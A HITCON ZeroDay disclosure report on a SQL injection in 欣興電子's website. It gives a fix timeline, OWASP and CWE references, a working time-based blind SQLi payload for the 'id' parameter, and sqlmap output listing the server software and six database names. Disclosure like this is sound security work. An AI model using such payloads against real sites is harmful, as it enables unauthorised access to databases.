Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00719
- Vendor: 欣興電子股份有限公司
- Title: 欣興電子 SQL injection
- Introduction: SQL injection
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2020/08/05 13:03:33 : 新提交 (由 albert5888 更新此狀態)
- 2020/08/05 23:44:34 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/06 18:10:52 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/06 18:10:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/06 18:10:52 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/10 15:34:16 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/10 15:34:16 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/10 15:34:16 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/09/28 18:28:38 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/09/28 19:17:45 : 確認已修補 (由 albert5888 更新此狀態)
- 2020/10/02 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00719
- 通報者:wfu030916 (albert5888)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
1.透過id參數執行SQL指令
2.使用sqlmap掃描,可以列出database等資訊
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: lang=tw&tb=3&id=20 AND (SELECT 9951 FROM (SELECT(SLEEP(5)))RLsC)
[20:58:38] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.6.30, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[20:58:38] [INFO] fetching database names
[20:58:38] [INFO] fetching number of databases
[20:58:38] [INFO] resumed: 6
[20:58:38] [INFO] resumed: information_schema
[20:58:38] [INFO] resumed: mysql
[20:58:38] [INFO] resumed: performance_schema
[20:58:38] [INFO] resumed: sys
[20:58:38] [INFO] resumed: test
[20:58:38] [INFO] resumed: www2
available databases [6]:
[] information_schema
[] mysql
[] performance_schema
[] sys
[] test
[] www2